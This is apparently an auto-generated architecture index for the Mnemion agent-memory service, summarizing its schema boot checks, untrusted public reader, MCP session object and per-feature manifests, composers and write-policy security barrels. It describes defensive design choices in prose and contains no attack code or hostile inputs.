StoreIndexinterface
getCurrentIndexfunction

The structural index: schema + charter + facet metadata, entry counts zeroed. Pure structure — getIndex enriches it with live counts/activity. Also handed to the evolution previewer (which mutates a copy to show a proposed change).

getIndexfunction

The agent-facing master index: the structural index enriched with live entry counts + latest activity (computed per call, never stored — data is destiny), sorted by recency, plus agent-authored view/page specs.

getRecentActivityfunction

Most recently modified entries across all non-kernel patterns, summarized from each pattern's first text/select facet.

getSystemDocfunction
schema.tsentities/Hive/schema.ts

Database initialization

Table definitions, migrations, kernel pattern registration, and system doc seeding. Called once per HiveDO construction via blockConcurrencyWhile.

Kernel tables are defined declaratively: DDL + description + facets co-located. Internal tables (not exposed to agents) are plain DDL.

why

Kernel tables are declared once (DDL + description + facets co-located) so the surface is visible by scanning one array, and re-registered into _objects/_fields on every boot so an existing install's kernel docs track the code on deploy. Boot runs two loud integrity checks — verifyFieldsIntegrity (DDL vs _fields drift) and verifyWritePolicyTotality (every kernel table has a write-class) — that warn rather than throw, because a degraded boot is recoverable but a refusing one is not. Migrations are an append-only procedural pile by necessity: point-in-time history is not derivable.

imports constants.ts, tools.ts, dev-seed.ts, view-palette.ts, policy.ts, kernel-columns.ts, index.ts, compose.ts
KERNEL_TABLESconst

The EXPORTED kernel surface: CORE infra patterns + each feature's own pattern structure (DDL/facets/index), composed from the pure-data feature schema modules via the FEATURES barrel. composePatterns asserts no two features declare the same pattern name (a feature↔core name clash is caught by policy.ts's mergeDisjoint at module load). Everything downstream — the boot DDL loop, _fields seeding, verifyFieldsIntegrity, verifyWritePolicyTotality, and the security tests that iterate KERNEL_TABLES — reads THIS composed array, so a feature pattern is indistinguishable from a core one and the DDL↔_fields drift oracle stays green.

verifyWritePolicyTotalityfunction

=== Integrity check: write-class policy totality ===

Every agent-facing kernel pattern must declare a write class in policy.ts. writeClass() fails CLOSED (System — denied) for any unclassified _ pattern, so a newly added kernel table is safe by default — but silently un-writable is a bug, not a feature. This warns loudly at boot so a missing classification is caught the moment the table ships, not when a reviewer finds the next hole. Code-vs-code (KERNEL_TABLES vs KERNEL_WRITE_POLICY) — no DB needed; exported so the admission-matrix test asserts it statically too.

ensureAuditTriggersfunction

Audit exemption (high-frequency append-only logs whose change history is the data itself — auditing them would just churn the bounded _mutation_log) is a per-pattern behavior declared in the policy registry (policy.ts), alongside write class, so it's covered by the same boot-time totality check.

served.tsentities/Hive/served.ts

served.ts — the untrusted served reader. ALL served public reads live here.

This module is the single home for every public, unauthenticated, edge-cacheable read Mnemion exposes: agent-authored public pages (HTML + an OG chart card), shared entries (/o/entry), agent-defined outputs (/o), publications (/p), and the input-endpoint visibility probe (/i). Its ONLY user-pattern data access is servedQuery — the untrusted reader, which refuses kernel patterns at the engine (data.ts query()'s !ctx.trusted check). ServedContext deliberately exposes nothing else that could reach arbitrary kernel data: no db, no owner/trusted context, no way to construct one. The kernel-CONFIG rows these readers legitimately need (a _shared visibility, a _publications/_outputs/ _inputs config row, supersession ids, facet metadata) are reached only through NARROW bound lookups the DO provides — each returning ONLY that specific answer, never an arbitrary kernel row — exactly as federation.ts gets a bound isHostAllowed and never db. That is the point of the eviction: a served sink that physically cannot read a kernel pattern, and cannot reach db to try. Everything else is a PURE helper imported directly (chart SVG/spec, XSS escape, the page CSS, the publication renderer, seal/sealAll). The DO keeps thin RPC stubs that build the context and delegate; this holds the logic.

imports chart-svg.ts, chart-spec.ts, escape.ts, policy.ts, publications.ts
PublicationConfiginterface

A _publications config row plus the projection params the served read needs. Returned WHOLE only for the public publication path; it carries no secret column (publications are agent-authored projection config, never credential-bearing).

ServedContextinterface
getSharedEntryfunction

Serve a single entry marked public/unlisted in _shared. The user-pattern entry read goes through servedQuery — the kernel-refusing chokepoint — so there is NO hand-rolled isKernelPattern guard here: a kernel pattern reads back empty at the engine (data.ts query()'s !trusted check), exactly as a kernel-named page block does. servedQuery also refuses a non-existent pattern and BINDS the id (no SQL-identifier injection), so the old patternExists + Number.isInteger(id) checks survive only as a clean early not-found, never as the security gate. The sharing visibility is a kernel-config lookup the DO owns (sharingVisibility), so served.ts never touches _shared directly. seal strips any sensitive column before the entry leaves over this public route.

resolvePublicationfunction

Render a live publication projection. The source query runs through servedQuery (refuses a kernel source), rows are sealed, superseded entries drop out (via the DO's narrow supersededIds lookup), and the publication is rendered by the pubs adapter with DO-supplied facet metadata + host.

resolveOutputfunction

Serve agent-constructed content at an arbitrary path. The _outputs row IS the answer (content + mime + visibility), reached through the DO's narrow lookup — no user-pattern read involved.

getInputVisibilityfunction

Report an input endpoint's visibility (the route layer gates token access on it). Not-found when no active endpoint exists at path.

transform.tsentities/Hive/transform.ts

Transform DSL for ingress field mapping. Expressions: dot.path | transform arg | transform arg Resolvers: foo.bar, $header.X-Name, $query.param, $body, $now, "literal" Transforms: truncate N, lower, upper, default "value", json, join ", "

why

A tiny declarative DSL for ingress field mapping so an _inputs endpoint can shape arbitrary inbound payloads into pattern facets without code — the mapping is data on the endpoint, evaluated at request time. Resolvers and transforms are a closed, side-effect-free set so an agent-authored mapping can't reach beyond the request envelope.

evaluateExpressionfunction

Evaluate a single DSL expression against a context.

evaluateMappingfunction

Evaluate a field mapping (object of field→expression) against a context.

Sessionclaimed
The per-session McpAgent Durable Object that speaks the MCP protocol and proxies tool calls to the hive over RPC.
why

(SessionDO is one Durable Object per MCP session: it handles the MCP protocol — tools, resources, init instructions — and proxies to the single HiveDO over RPC, keeping protocol concerns out of the data substrate. It also stamps the authenticated actor onto writes from its OAuth props, so attribution is enforced at the protocol edge.)

tools SSOT totality. Tool metadata feeds two consumers — the MCP .tool(/.registerTool( registrations and the /api/tools frontend — and the rejected design was "two parallel hand-lists, keep them in sync." The real failure shipped when render was registered inline without a corresponding TOOLS row: a live MCP tool invisible to /api/tools, visible to one consumer and not the other, with no warning anywhere. A tool present in one place and absent from the other is what the boundary makes unrepresentable.

works when
lives in agent-mcp fast
session.ts exists at this node fast
session.ts imports agents/mcp fast
tools.ts exists at this node fast
session.ts imports ./tools fast
boundary "tools SSOT totality" at TOOLS via test "tools SSOT totality" fast
session.tsentities/Session/session.ts

SessionDO — one McpAgent Durable Object per MCP session.

why

It handles the MCP protocol (tools, resources, init instructions) and proxies to the single HiveDO over RPC, keeping protocol concerns out of the data substrate. The consent round-trip lives here, not in the engine, because it needs an interactive re-issue only the MCP path can satisfy — but whether a write is gated derives from policy.ts (consentPolicy/consentRoundTripRequired/patchRejected) so the boundary can't drift from the engine's. The session stamps the authenticated actor from its OAuth props onto every write so attribution is enforced at the protocol edge.

imports agents/mcp, @modelcontextprotocol/sdk/server/mcp.js, zod, hive.ts, constants.ts, mutate-gate.ts, evolution.ts, format-palette.ts, tools.ts
getHive()method
notifyScratch()method

=== Scratchpad push (HiveDO → this session → MCP client) === The hive RPCs notifyScratch when a note lands on a pad. sendResourceUpdated must run inside the agents-framework agent context (a bare DO-to-DO RPC has none), so we schedule() it — the callback runs alarm-driven, in context. idempotent coalesces a burst of posts to the SAME pad (same callback + payload) into a single nudge.

We deliberately do NOT gate on "is a client attached right now": a live streamable-HTTP session whose standalone SSE has merely idled out would be wrongly judged dead. Instead this is best-effort — if no stream is attached, emitScratch's sendResourceUpdated is a harmless no-op and the client re-reads the pad on reconnect.

init()method
tools.tsentities/Session/tools.ts

Tool metadata — single source of truth for MCP registration and frontend display.

session.ts imports these for McpServer.tool() calls. /api/tools serves them to the web frontend.

why

Tool metadata lives once here as the SSOT feeding both McpServer.tool() registration and the /api/tools frontend, so the agent-facing surface can't drift between the protocol and the UI. New capability comes from patterns and entries, not new tools — the set stays deliberately small.

imports constants.ts
ToolMetainterface
TOOLSconst
Featuresclaimed
Per-feature manifests that FEED the scattered registries from one declaration; composers derive each registry from the `FEATURES` array.
why

A "feature" is the extensibility keystone, and today its footprint is smeared across registries a forker's agent must find and edit in lockstep: post-mutate effects (entities/Hive/effects.ts), HTTP routes (src/index.ts), MCP tools (entities/Session/tools.ts), kernel patterns + DDL (entities/Hive/schema.ts), write-policy class (entities/Hive/policy.ts), system docs, and the coherence spec. The Feature type collects all of those contributions into ONE co-located, typed declaration; the composers in compose.ts DERIVE each registry from the hand-maintained FEATURES barrel (index.ts). Adding a feature is then: create one dir + add one import line to the barrel — its whole footprint legible in the manifest instead of scattered.

effects was the first registry wired end-to-end; routes is the second: PATTERN_EFFECTS in effects.ts is composeEffects(FEATURES), and the route table in src/index.ts is [...CORE_ROUTES, ...composeRoutes(FEATURES)] rather than one hand-written literal. The documents feature owns its /f/ upload + serve edges and the pages feature owns its /page/ serve + OG edges, declared in their manifests (handlers still imported from the I/O adapter layer, shared/Routing/routes/io.ts — the manifest declares the routing rows, not the handler bodies). So a new side-effecting pattern, or a new HTTP edge for these features, is a feature manifest — not another entry in a central map.

Route ORDER is load-bearing and preserved: the router matches in declaration order (first match wins), and feature routes are appended AFTER CORE_ROUTES, so a feature route can never shadow a core route. The moved patterns (/f/..., /page/...) share no prefix with any retained core route (/o/, /p/, /marketplace*, etc.), so the move changes no match outcome — confirmed by the route/document/page tests staying green. Each route's backendPrefix travels with its declaration into BACKEND_PREFIXES, so a moved route's SPA-fallback exclusion is derived from the manifest, not re-hardcoded in src/index.ts.

Patterns + migrations are the third and fourth registries wired end-to-end: each feature owns its PATTERN STRUCTURE — the kernel-pattern DDL/facets/index and any feature-specific schema migration — as PURE DATA in its dir (<name>/schema.ts, type-only imports, no manifest code), and schema.ts builds KERNEL_TABLES = [...CORE_KERNEL_TABLES, ...composePatterns(FEATURES)] while its boot migration pile gains a tail loop over composeMigrations(FEATURES). The documents feature owns the _documents table + its v12 extraction-columns migration; the pages feature owns the _pages table + path index. The move is byte-identical: every consumer of KERNEL_TABLES (the boot DDL loop, _fields seeding, the audit triggers, and crucially verifyFieldsIntegrity — the DDL↔_fields drift oracle — plus verifyWritePolicyTotality) reads the COMPOSED array, so a feature pattern is indistinguishable from a core one and an existing hive sees no schema diff at boot. The feature schema.ts files stay PURE DATA so they share the leaf discipline of the */security.ts siblings (the structure half of "a feature owns its schema," beside the security half).

The kernel PRE-MUTATION HOOKS are the fifth registry, completing "a feature owns its kernel pattern": the _documents create validation (title required) + its system-managed immutable bookkeeping columns live in documents/hooks.ts, and the _pages write-time hook (URL-safe path + block-palette validation + the kernel-pattern exfil guard) lives in pages/hooks.ts. A feature declares these in its manifest's hooks slot; kernel.ts renames its hand-written literals to CORE_ON_CREATE/CORE_ON_WRITE/CORE_IMMUTABLE and derives the EXPORTED ON_CREATE/ON_WRITE/IMMUTABLE as mergeDisjoint(CORE_, compose(FEATURES)). ENFORCEMENT does NOT move — applyKernelRules (the one chokepoint every mutate runs through) reads the EXPORTED composed maps, so the validation fires byte-for-byte as before (confirmed by the document title/immutability + page block-exfil tests staying green); only the DECLARATION moves into the feature dir, exactly as effects compose into PATTERN_EFFECTS but fire at the mutate chokepoint. The hook bodies are code, so <dir>/hooks.ts imports ONLY TYPES from kernel.ts (the hook signature types + ImmutableRule shape) — type imports are erased at runtime, so the kernel.ts → FEATURES → manifest → hooks back-edge is type-only and adds NO runtime cycle (dpdm -T, which strips type-only edges, shows the same single pre-existing runtime cycle before and after). mergeDisjoint mirrors policy.ts: a feature hook for a CORE pattern throws at module load, so a feature can never silently override a core invariant.

Composition for effects/tools/writePolicy/routes runs at MODULE LOAD (static tables); patterns/migrations/systemDocs compose at BOOT (they touch the DB). The composers fail LOUDLY on collision (two features over one pattern's effect, a duplicate migration version, a route/tool/pattern name clash) rather than silently last-write-wins — a malformed manifest can't quietly shadow another feature; a feature↔core pattern-name clash is caught by policy.ts's mergeDisjoint at module load. The fail-CLOSED write-policy default is preserved: a feature pattern declared without a write-policy entry still resolves to System/denied, never silently agent-writable. System docs stay a single source (http-io.md spans egress/publications/documents/ingress, so it isn't split per-feature); the remaining registries (tools, systemDocs) keep ONE source of truth each until they adopt their composer (documented landing spots in compose.ts), so this migration adds the seam without duplicating definitions.

clipboards is the feature that EXTENDS THE CORE CHOKEPOINT. Unlike documents/ pages (which add only effects/routes/their own pattern + hooks), a clipboard is a validated job-dispatch form: a _clipboards row binds a reusable, deterministically- validated form to a target dataset pattern, and every create/update on that pattern becomes a SUBMISSION — validated collect-all (regex/range/length/cross-field/composite uniqueness) and scored against a composable numeric completion contract. The feature DIR owns only the declaration (the _clipboards pattern/schema, the fail-closed DEFINITION hook in hooks.ts that rejects an unknown constraint/metric/op, and the Consent write class — binding a contract to an existing shared dataset is an injection-reachable write-availability lever, so creation takes a human round-trip like _members/_shared). The ENFORCEMENT is core: two generic LEAF engines (entities/Hive/{constraints,completion}.tsCONSTRAINT_RULES/COMPARISON_OPS and COMPLETION_METRICS) configured by the _clipboards DATA, invoked at the ONE mutate chokepoint (executeMutate) via the clipboardFor seam on DataContext. So the chokepoint covers every write path — MCP mutate AND public ingress — and a fanout of agents all filling one clipboard is race-free (a single DO serializes the SELECT-then-INSERT, so composite-uniqueness dedupe holds and each submission's derived progress is a consistent snapshot). The fail-closed knot is a double-entry TOTALITY oracle: the constraint/metric/op keys the definition hook ACCEPTS must equal the keys the engines ENFORCE — a rule that could be stored but silently isn't checked (fail-OPEN) fails the suite. Progress is DERIVED from the submission log every read (data-is-destiny: count/sources_covered/days_since_last are SQL aggregates, never stored counters). patternClass joined KernelContext so the definition hook can require a dataset-class target (guaranteeing the chokepoint's type coercion runs before numeric comparison).

scratchpad is the pub/sub coordination feature: a _scratchpad row is a NOTE posted to a named shared PAD, so agents in neighboring sessions on one hive can coordinate a fanout (claim/done/found) without polling. The DATA half is doctrine-standard — an Open, auditExempt, append-only kernel pattern (coordination chatter, not durable memory, so NOT primeInclude and GC'd at 30 days in the boot sweep, mirroring _entry_access_log) with an onCreate hook validating the pad slug + kind. Reads are free: the mnemion://scratchpad/{pad} resource is an ordinary query (newest-first by pad), and agents can poll query _scratchpad pad=X id>cursor to catch up. The PUSH half (Phase 2) extends CORE — there is no HiveDO→SessionDO channel today, so a post fans out via an effect that RPCs each live session's notifyScratch, which must emit sendResourceUpdated from WITHIN the agents-framework agent context (a bare DO-to-DO RPC has none — confirmed by spike). schedule() is the supported in-context entrypoint, so the emit is a near-immediate scheduled task. The session registry + the per-pad resources/subscribe handlers are the new SessionDO↔HiveDO seam this feature owns.

works when
lives in storage fast
feature.ts exists at this node fast
compose.ts exists at this node fast
index.ts exists at this node fast
compose.ts imports ./feature fast
index.ts imports ./feature fast
index.ts imports ./documents/manifest fast
index.ts imports ./pages/manifest fast
index.ts imports ./system-tasks/manifest fast
documents/manifest.ts imports ../../../shared/Routing/routes/io fast
pages/manifest.ts imports ../../../shared/Routing/routes/io fast
documents/schema.ts exists at this node fast
pages/schema.ts exists at this node fast
documents/manifest.ts imports ./schema fast
pages/manifest.ts imports ./schema fast
documents/hooks.ts exists at this node fast
pages/hooks.ts exists at this node fast
documents/manifest.ts imports ./hooks fast
pages/manifest.ts imports ./hooks fast
passes test "pattern-effects totality" fast
passes test "returns 503 from POST /f and 404 from GET /f when R2 is absent" fast
passes test "requires a title" fast
passes test "refuses agent-supplied blob bookkeeping" fast
passes test "refuses a page block that sources a kernel pattern" fast
clipboards/manifest.ts exists at this node fast
clipboards/schema.ts exists at this node fast
clipboards/hooks.ts exists at this node fast
clipboards/security.ts exists at this node fast
index.ts imports ./clipboards/manifest fast
clipboards/manifest.ts imports ./schema fast
clipboards/manifest.ts imports ./hooks fast
passes test "clipboard constraint and metric keysets are total" fast
passes test "a clipboard submission collects every field violation" fast
passes test "patch on a clipboard-bound pattern is rejected" fast
passes test "clipboard completion progress is derived from the submission log" fast
scratchpad/manifest.ts exists at this node fast
scratchpad/schema.ts exists at this node fast
scratchpad/hooks.ts exists at this node fast
scratchpad/security.ts exists at this node fast
index.ts imports ./scratchpad/manifest fast
scratchpad/manifest.ts imports ./schema fast
scratchpad/manifest.ts imports ./hooks fast
passes test "a scratchpad note requires a pad slug and a kind" fast
passes test "scratchpad notes are scoped and read newest-first by pad" fast
compose.tsentities/features/compose.ts

compose.ts — the COMPOSERS: derive each scattered registry from the FEATURES array. One composer per registry. Most are LIVE: effects, patterns, migrations, routes, and the kernel hooks (onCreate/onWrite/immutable) are WIRED into their host files (see the per-composer comments for the exact host + call site); write-policy/egress-sensitivity compose in the security.ts barrel, not here, because policy.ts is a dependency-free leaf. The tools and system-docs composers are still DESIGNED (signatures present, no host imports them yet — wired once tools.ts / schema.ts adopt the array).

Composition runs at MODULE LOAD for static registries (effects, tools metadata) and at BOOT for stateful ones (patterns/DDL/migrations/system-docs, which touch the DB). See "WHERE EACH RUNS" in the per-composer comments.

Invariants the composers enforce (fail LOUDLY, never silently last-write-wins): - effects: a pattern may have an effect from at MOST one feature (collision → throw). Two features fighting over _documents's post-mutate hook is a bug. - migrations: version numbers are globally unique + monotonic. - patterns / tools / routes: name/path uniqueness across features.

imports feature.ts, effects.ts, kernel.ts
composeEffectsfunction

Fold every feature's effects into the flat PATTERN_EFFECTS map. WHERE IT RUNS: module load of effects.ts (PATTERN_EFFECTS = composeEffects(FEATURES)). Pure, synchronous, no DB — safe at import time.

composeMigrationsfunction

MIGRATIONS. WIRED. HOST: schema.ts's boot migration pile gains a tail loop over composeMigrations(FEATURES). Core migrations are an append-only pile of idempotent (PRAGMA-guarded) ALTER blocks run on EVERY boot with no stored-version gate, so feature migrations run the same way — version is purely the global ordering + collision slot, not a run condition. WHERE IT RUNS: boot, after the kernel DDL loop + core migrations. Composer sorts by version and asserts version uniqueness across features so two features can't claim the same slot.

NOTE on feature-vs-CORE versions: the two share ONE version space BY DESIGN — a feature carved out of core keeps its historical version for idempotent ordering (e.g. documents owns v12, moved from the core pile). So there is no clean floor that separates them; CORE versions live in schema.ts (an un-importable procedural pile), so feature-vs-core uniqueness is the migration author's responsibility, the same as adding to the core pile. This composer enforces what it CAN see — feature-vs-feature uniqueness. (A FEATURE_MIGRATION_MIN floor was tried and reverted: it broke documents v12, which legitimately lives in the core range.)

ComposeRoutesOptionsinterface

Route-composition guardrails passed IN from src/index.ts (which owns the Auth enum and the CORE route table). Threaded as plain data so compose.ts stays dependency-light (no router-runtime import, no cycle).

composeRoutesfunction

ROUTES. HOST: src/index.ts routes[] becomes [...CORE_ROUTES, ...composeRoutes(FEATURES, opts)], and BACKEND_PREFIXES absorbs each route's backendPrefix. WHERE IT RUNS: module load of index.ts (the route table is built once). Feature routes are appended AFTER core routes (declaration-order matching means a feature route can never shadow a core route), and the composer asserts: (a) no two features claim the same method+pattern; (b) every auth is a valid Auth enum VALUE (fail-closed — never silently NONE); (c) no feature route collides with a CORE route (else silently dead).

assertWiredSlotsfunction

Throw if any feature populates a slot that isn't yet wired into its host file. Runs at module load from src/index.ts (the guaranteed-to-run chokepoint), beside composeRoutes. Converts a silent no-op into a clear, actionable error.

composeToolsfunction

TOOLS. DESIGNED — NOT YET WIRED (consistent with the file header). No host imports composeTools today: tools.ts does NOT yet concatenate it, and session.ts does NOT yet call each feature tool's register. When tools.ts adopts the array, TOOLS will concatenate composeTools(FEATURES) (the metadata half, feeding /api/tools + MCP registration listing) and session.ts will call each feature tool's register(server, hive) during MCP setup (the handler half) — metadata at module load, register once per session at MCP init. Composer asserts tool-name uniqueness so the seam is correct the moment it's wired.

composeSystemDocsfunction

SYSTEM DOCS. DESIGNED — NOT YET WIRED (consistent with the file header). No host imports composeSystemDocs today: schema.ts does NOT yet concatenate it. When schema.ts adopts the array, its seed list will concatenate composeSystemDocs(FEATURES) at boot, alongside the core doc seeding. Composer asserts slug uniqueness so the seam is correct the moment it's wired.

feature.tsentities/features/feature.ts

feature.ts — the Feature TYPE: one per-feature declaration that FEEDS the scattered registries from a single co-located module.

A "feature" is the extensibility keystone. Today a feature's footprint is smeared across registries a forker's agent must find and edit in lockstep: - post-mutate side effects → entities/Hive/effects.ts (PATTERN_EFFECTS) - HTTP routes → src/index.ts (routes[]) - MCP tools → entities/Session/tools.ts (TOOLS) - kernel patterns + DDL → entities/Hive/schema.ts (KERNEL_PATTERNS) - write-policy class → entities/Hive/policy.ts (KERNEL_WRITE_POLICY) - system docs → src/system-docs/.md (imported in schema.ts) - coherence spec → <dir>/.spec.md

A Feature object declares each of those contributions in ONE place. The composers in this directory then DERIVE the registries from FEATURES (the barrel in ./index.ts). Adding a feature = create one dir + add one import line to the barrel — its whole footprint is legible in the manifest, not scattered.

This file is intentionally dependency-light: it imports only the TYPES of the contributions, never the runtime registries, so a feature manifest can be read (and reasoned about) in isolation. effects is wired end-to-end today; the remaining fields are TYPED and documented so the next agent fills a slot rather than re-discovering a registry. See ./compose.ts for what is live vs. designed.

imports effects.ts, kernel.ts
FeaturePatterninterface

A kernel-pattern declaration as schema.ts expects it (DDL + facet metadata + doctrine). Kept as the existing KernelTable shape so a feature can hand schema.ts a row verbatim — composePatterns folds these into KERNEL_TABLES, and the boot DDL loop / _fields seeding / verifyFieldsIntegrity treat them identically to a CORE row. indexes mirror the KernelTable field (a feature pattern may carry its own unique/partial indexes, e.g. _pages' path index).

FeatureMigrationinterface

A one-shot, idempotent ALTER/backfill keyed by a monotonic version, mirroring the runMigrations switch in schema.ts. Runs at boot, after pattern DDL.

FeatureRouteinterface

A route contribution: the existing Route shape plus the handler. Imported as a type only so the manifest doesn't pull the router runtime. The composer splices these into the routes[] array in src/index.ts in feature-declaration order, AFTER the core routes (a feature route can't shadow a core route).

FeatureToolinterface

MCP tool metadata — the ToolMeta shape from tools.ts. A feature that adds an agent-facing verb declares it here; the composer concatenates onto TOOLS. The feature ALSO supplies the Zod schema + handler wiring (a registerTool callback) since session.ts binds those — see compose design notes.

FeatureSystemDocinterface

A system-doc contribution: the raw markdown (imported as a text module) plus its slug/title, seeded into _system_docs at boot exactly like schema.ts does.

Featureinterface

One feature, declaring every registry contribution it makes. Only name is required; every contribution field is optional so a feature opts into exactly the registries it touches.

index.tsentities/features/index.ts

index.ts — the FEATURE BARREL. The whole feature set, in one greppable place.

Adding a feature is TWO edits, both here-adjacent: 1. create entities/features/<name>/manifest.ts exporting a Feature 2. add ONE import line + ONE array entry below

The composers in ./compose.ts derive every scattered registry from FEATURES. effects is live today: entities/Hive/effects.ts sets PATTERN_EFFECTS = composeEffects(FEATURES) instead of a hand-written literal. The remaining registries adopt their composer in their own host file (see compose.ts for each landing spot).

imports feature.ts, manifest.ts, manifest.ts, manifest.ts, manifest.ts
security.tsentities/features/security.ts

security.ts — the FEATURE-SECURITY BARREL. The dependency-free merge of every feature's pure-data security contribution (write class + egress sensitivity), imported by entities/Hive/policy.ts to compose the EFFECTIVE write-policy / sensitive-column maps.

THE LEAF-PRESERVATION INVARIANT (read before editing): policy.ts is the dependency-free security leaf — every enforcement layer derives from it without a cycle. policy.ts may import THIS barrel only because this barrel (and the per-feature /security.ts files it re-exports) imports nothing but PURE DATA and TYPES. It MUST NOT import a feature manifest.ts (manifests carry code: effect bodies, route handlers — importing one would pull runtime code into the security leaf and risk a cycle). When a new feature owns kernel patterns, add its pure-data /security.ts here, NOT its manifest.

Collisions fail LOUDLY (throw) rather than silently last-write-wins — two features claiming the same pattern's write class or sensitive columns is a bug.

THE DOMAIN IS THE LIVE FEATURE SET. A single registry — FEATURE_SECURITY — holds one entry per feature ({name, writePolicy?, sensitiveColumns?}); BOTH the write-policy and the sensitive-column maps are DERIVED by iterating it. There is no second hand-list to fall out of sync, so a feature's sensitive columns can no longer be silently dropped while its write policy is wired (the prior bug: the barrel composed write policy from one list and sensitive columns from another, and the second omitted pages — with no egress totality oracle to catch it).

imports policy.ts, security.ts, security.ts, security.ts
FeatureSecurityinterface

One feature's complete pure-data security contribution: its write-class rows and its egress-sensitive columns, in a SINGLE object. Both halves of a feature's security footprint travel together so neither can be dropped independently — the bug this shape exists to kill (a feature whose sensitiveColumns silently never reached SENSITIVE_COLUMNS because the barrel's second hand-list forgot it).

FEATURE_WRITE_POLICYconst

Every feature's write-class rows, derived from FEATURE_SECURITY. Folded into the effective KERNEL_WRITE_POLICY by policy.ts ({...CORE, ...FEATURE_WRITE_POLICY}).

FEATURE_SENSITIVE_COLUMNSconst

Every feature's egress-sensitive columns, derived from THE SAME FEATURE_SECURITY array. Folded into the effective SENSITIVE_COLUMNS by policy.ts. Because both maps iterate the one registry, a feature's sensitive columns can no longer be dropped independently of its write policy — and verifyEgressTotality asserts it.

FEATURE_DECLARED_SENSITIVEconst

The flat list of every sensitive column declared by ANY feature — the DECLARED domain the egress totality oracle (policy.ts verifyEgressTotality) checks survives into the composed SENSITIVE_COLUMNS. Derived from FEATURE_SECURITY so it cannot drift from what the features actually declare.

hooks.tsentities/features/clipboards/hooks.ts

clipboards/hooks.ts — the clipboards feature's PRE-MUTATION DEFINITION hook, as code.

The "a feature owns its kernel pattern's HOOKS" half of the footprint (after schema.ts/structure + security.ts/write-class). This validates a clipboard DEFINITION at create/update time and FAILS CLOSED: an unknown constraint key, metric, or op is rejected here, so a clipboard can never store a rule the engines don't enforce (the totality oracle in src/__tests__/clipboards.test.ts asserts the keysets match). composeOnWrite folds this into kernel.ts's ON_WRITE registry, so applyKernelRules — the one mutate chokepoint — enforces it; only the declaration lives here.

NO-CYCLE INVARIANT: imports ONLY TYPES from kernel.ts (import type). The constraint / completion registries it derives its known-key sets from are core LEAVES (constraints.ts / completion.ts import no manifest), so importing them at runtime closes no kernel.ts → features → hooks cycle.

imports kernel.ts, constraints.ts, completion.ts
hooks.tsentities/features/documents/hooks.ts

documents/hooks.ts — the documents feature's PRE-MUTATION HOOKS, as code.

This is the "a feature owns its kernel pattern's HOOKS" half of the footprint — the last piece after schema.ts (structure) and security.ts (write class + egress). The _documents create-time validation (title required; visibility enum) and its IMMUTABLE bookkeeping fields (system-managed on upload/extraction) live here, NOT in entities/Hive/kernel.ts. composeKernelHooks (entities/features/ compose.ts) folds them back into kernel.ts's ON_CREATE / IMMUTABLE registries, so applyKernelRules — the kernel chokepoint every mutate runs through — enforces them byte-for-byte the same. Only the DECLARATION moved; ENFORCEMENT stays at the kernel chokepoint, exactly like effects compose into PATTERN_EFFECTS but fire at the mutate chokepoint.

LEAF-PRESERVATION / NO-CYCLE INVARIANT (read before editing): kernel.ts composes this file in (FEATURES → manifest → hooks), so this file MUST import ONLY TYPES from kernel.ts (import type). A runtime import of kernel.ts here would close a kernel.ts → features → hooks → kernel.ts RUNTIME cycle. Type imports are erased at runtime, so the back-edge stays type-only and no cycle forms.

imports kernel.ts
hooks.tsentities/features/scratchpad/hooks.ts

scratchpad/hooks.ts — the scratchpad feature's PRE-MUTATION hook, as code. Validates a posted note, fail-closed; composed into kernel.ts's ON_CREATE and enforced at the applyKernelRules chokepoint. Imports ONLY TYPES from kernel.ts (the no-cycle invariant).

imports kernel.ts
onWriteconst

onWrite (not onCreate): _scratchpad is WriteClass.Open with no immutable fields, so an UPDATE must re-validate too — otherwise a note's pad could be repointed to an invalid (or different) slug post-hoc, bypassing the create-time checks.

manifest.tsentities/features/clipboards/manifest.ts

clipboards — validated job-dispatch forms.

The whole feature, legible in one place. A clipboard binds a reusable, validated form to a target dataset pattern; each create on that pattern is a SUBMISSION, validated at the mutate chokepoint (collect-all violations) and scored against a composable numeric completion contract whose progress is DERIVED from the log.

patterns → ./schema.ts (pure data: _clipboards DDL/facets + the one-per-pattern partial unique index), folded into KERNEL_TABLES by composePatterns. hooks.onWrite → ./hooks.ts (the DEFINITION validator, fail-closed on unknown constraint/metric/op keys), folded into kernel.ts's ON_WRITE. writePolicy → ./security.ts (pure data: _clipboards write class = Consent — creation takes a human round-trip; see that file's rationale), composed by entities/features/security.ts.

The PER-SUBMISSION enforcement + DERIVED progress are NOT a manifest slot: they live at the core mutate chokepoint (entities/Hive/data.ts via the generic engines entities/Hive/{constraints,completion}.ts, configured by _clipboards data). So unlike documents/pages, this feature extends core — its declaration is feature-local, its enforcement is the existing chokepoint. (See the Features.spec.md ## why.)

imports feature.ts, schema.ts, hooks.ts
manifest.tsentities/features/documents/manifest.ts

documents — R2-backed file store feature.

The whole feature, legible in one place. effects + routes are composed end-to-end today. The remaining slots are commented pointers to the live registries that still own them — not duplicated definitions, so there is exactly one source of truth per registry until migration.

patterns + migrations → ./schema.ts (pure data: _documents DDL/facets + the v12 extraction-columns migration), folded into schema.ts's KERNEL_TABLES + boot migration pile by composePatterns / composeMigrations. Wired below. writePolicy + egress → ./security.ts (pure data: _documents write class + r2_key redaction), composed into the effective KERNEL_WRITE_POLICY / SENSITIVE_COLUMNS by entities/features/security.ts. Re-exported below so the feature's security footprint is legible from its dir. systemDocs → src/system-docs/http-io.md (shared with the other HTTP-I/O features — egress/publications/ingress — so it stays a single doc, not split per-feature)

imports feature.ts, constants.ts, log.ts, io.ts, router.ts, schema.ts, hooks.ts
manifest.tsentities/features/scratchpad/manifest.ts

scratchpad — durable shared pads for agents in neighboring sessions.

A _scratchpad row is a NOTE posted to a named pad; agents watching that pad get a push (Phase 2). The whole feature, legible in one place:

patterns → ./schema.ts (pure data: _scratchpad DDL/facets + per-pad index), folded into KERNEL_TABLES by composePatterns. hooks.onWrite → ./hooks.ts (pad slug / kind / body-size validation on create AND update — an Open pattern's updates must re-validate too), folded into kernel.ts's ON_CREATE. writePolicy → ./security.ts (Open + auditExempt), composed by entities/features/security.ts. effects → the fanout-on-post effect below: a created note fans out via the core push channel (EffectContext.fanoutScratch → HiveDO RPCs each live session's notifyScratch → scheduled sendResourceUpdated). The channel itself lives in hive.ts + session.ts (the SessionDO↔HiveDO seam this feature extends); the manifest only declares the trigger.

imports feature.ts, schema.ts, hooks.ts
manifest.tsentities/features/system-tasks/manifest.ts

system-tasks — dispatch-on-create maintenance jobs.

Live slot: effects (run the task post-commit). Other registries: patterns/writePolicy → schema.ts (_system_tasks DDL) + policy.ts routes → src/index.ts (/dev/seed-vectors triggers the task path)

imports feature.ts
